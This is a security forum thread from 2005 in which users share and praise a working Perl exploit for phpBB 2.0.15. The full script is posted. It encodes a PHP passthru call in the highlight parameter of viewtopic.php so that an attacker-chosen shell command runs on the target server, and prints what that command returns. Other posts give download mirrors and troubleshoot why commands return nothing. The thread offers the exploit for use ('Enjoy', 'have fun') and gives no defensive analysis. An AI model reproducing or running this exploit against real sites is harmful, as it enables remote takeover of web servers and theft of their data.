Waraxe IT Security Portal
Login or Register
November 6, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 165
Members: 0
Total: 165
Full disclosure
SEC Consult SA-20261104-0 :: Improper device certificate validation enables AiTM attacks in Siemens SICAM Toolbox II device communication
Apache Struts2 Tiles Plugin <=7.4.0 and >=6.3.0 Preparer Cache Vulnerabilities
unixODBC <=2.3.14 Rude Truncation via Narrowing Conversion Causes Out-of-Bounds `memcpy`
unixODBC <=2.3.14 Multiple Races
unixODBC <=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads
Apache Struts2 Core Arbitrary Code Execution via OGNL SandboxEscape
Apache Struts2 Core TokenHelper Token Cryptographic Timing Side-Channel
Apache Struts2 Spring Plugin Uses a Previously Closed Resource
Apache Struts2 Core Integer Overflow
Apache Struts2 Core Cross-Origin Protection Exemption Miskeyed to a Deployment-Wide Path
Apache Struts2 REST Plugin Fails to Properly Parse ChunkedRequests
Apache Struts2 REST Plugin Untrimmed `Accept` Header Tokens Break Content Negation Fallback
Apache Struts2 JSON Plugin Insecure Deserialisation -- Object Deserialisation Element-Count Limit Bypass
[0day-rubbish] NETGEAR RAX120 V1.2.5.18 authenticated SOAP InstallApp OS command injection to root-configured web-stack execution (6.8 Medium; conditionally 7.2 High with management exposure)
[0day-rubbish] Raritan PX3 PDU G4 firmware 4.3.14 command injection in the ping and traceroute diagnostics through an inverted hostname-validation return check (8.8)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Working phpBB 2.0.15 perl exploit
Post new topicReply to topic View previous topic :: View next topic
Working phpBB 2.0.15 perl exploit
PostPosted: Thu Jun 30, 2005 5:27 pm Reply with quote
pLuToNiUm
Beginner
Beginner
Joined: Jun 30, 2005
Posts: 1




can be found here :

http://planet.nana.co.il/sustar/2015.txt

Very Happy

well , working , though....

Enjoy .
View user's profile Send private message ICQ Number
PostPosted: Thu Jun 30, 2005 5:40 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




Good work Wink

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Jul 06, 2005 1:48 pm Reply with quote
petitmaitreblanc
Regular user
Regular user
Joined: Jul 05, 2005
Posts: 18




the link seemed to be down , can you put the code here plz ?
View user's profile Send private message
PostPosted: Wed Jul 06, 2005 9:02 pm Reply with quote
iammojo
Regular user
Regular user
Joined: Mar 20, 2005
Posts: 18




Code:
#!/usr/bin/perl

## phpBB 2.0.15 remote command execution exploit
## by pLuToNiUm , wmsecurity@nm.ru 29/6/05
## =-= =-= =-= =-=
## the bug was discovered on 23/06/05 by Ron van Daal
## greeting to RusH for the previous eXploit.


use IO::Socket;

if (@ARGV < 4)
{
print q([+++++++++++++++++++++++++++++++++++++++++++++++++++++++]

how to use:

2015.pl www.phpbb.com /forum/ 1337 "ls -al"
parameters:
[URL] - server URL e.g. www.phpbb.com
[DIR] - directory where phpBB installed e.g. /phpBB/ or /
[NUM] - number of existing topic
[CMD] - command for execute e.g. ls
[]+++++++++++++++++++++++++++++++++++++++++++++++++++++[]
);
exit;
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "=== COMMAND: =[ $cmd ]= ===\r\n";
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&hack=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%27%2e%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%68%61%63%6b%5d%29%2e%27';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECTION FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n"; exit(); }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT DIDN'T WORK\r\n";
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n";


View user's profile Send private message
PostPosted: Thu Jul 07, 2005 1:56 pm Reply with quote
subzero
Valuable expert
Valuable expert
Joined: Mar 16, 2005
Posts: 42




setting mirror

http://kisobox.com/exploits/phpbb2.0.15.txt

just rename it back to .pl
have fun


Last edited by subzero on Thu Jul 07, 2005 2:30 pm; edited 1 time in total
View user's profile Send private message Visit poster's website
PostPosted: Thu Jul 07, 2005 2:25 pm Reply with quote
petitmaitreblanc
Regular user
Regular user
Joined: Jul 05, 2005
Posts: 18




sorry , but for this exploit works , they re some conditions ?

coz for me , it works , but , when I put an "ls" command , I have no answer , nothing , when I try with some other command , one time i am disconnected , one time same problem => no error message , but no result too .

So , I think (It's just what think a fucking n00b as me ;p) the apache server and php must have some option , as the system command's support , no ?
View user's profile Send private message
Working phpBB 2.0.15 perl exploit
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.072 Seconds